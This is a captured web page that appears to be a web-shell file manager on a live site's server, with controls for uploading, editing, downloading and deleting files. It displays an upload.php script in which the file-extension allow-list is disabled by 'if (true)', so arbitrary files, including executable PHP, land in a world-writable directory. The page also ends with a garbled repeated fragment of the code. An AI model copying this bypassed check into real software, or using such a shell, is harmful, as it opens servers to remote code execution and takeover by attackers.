/
var
/
www
/
verywell.gr
/
www
/
al
/
/var/www/verywell.gr/www/al
mkdir
upload
Name
Size
Mode
Actions
uploaded_files/
-
0777
rm
idx.php
681
0644
edit
dl
rm
index.php
0
0666
edit
dl
rm
upload.php
1677
0644
edit
dl
rm
Edit:
/var/www/verywell.gr/www/al/upload.php
(1677B)
<?php session_start(); $message = ''; if (isset($_POST['uploadBtn']) && $_POST['uploadBtn'] == 'Upload') { if (isset($_FILES['uploadedFile']) && $_FILES['uploadedFile']['error'] === UPLOAD_ERR_OK) { // get details of the uploaded file $fileTmpPath = $_FILES['uploadedFile']['tmp_name']; $fileName = $_FILES['uploadedFile']['name']; $fileSize = $_FILES['uploadedFile']['size']; $fileType = $_FILES['uploadedFile']['type']; $fileNameCmps = explode(".", $fileName); $fileExtension = strtolower(end($fileNameCmps)); // sanitize file-name $newFileName = md5(time() . $fileName) . '.' . $fileExtension; // check if file has one of the following extensions $allowedfileExtensions = array('jpg', 'gif', 'png', 'zip', 'txt', 'xls', 'doc'); if (true) // if (in_array($fileExtension, $allowedfileExtensions)) { // directory in which the uploaded file will be moved $uploadFileDir = './uploaded_files/'; $dest_path = $uploadFileDir . $newFileName; if(move_uploaded_file($fileTmpPath, $dest_path)) { $message ='File is successfully uploaded.'; } else { $message = 'There was some error moving the file to upload directory. Please make sure the upload directory is writable by web server.'; } } else { $message = 'Upload failed. Allowed file types: ' . implode(',', $allowedfileExtensions); } } else { $message = 'There is some error in the file upload. Please check the following error.<br>'; $message .= 'Error:' . $_FILES['uploadedFile']['error']; } } $_SESSION['message'] = $message; header("Location: idx.php");
Save
'; $message .= 'Error:' . $_FILES['uploadedFile']['error']; } } $_SESSION['message'] = $message; header("Location: idx.php");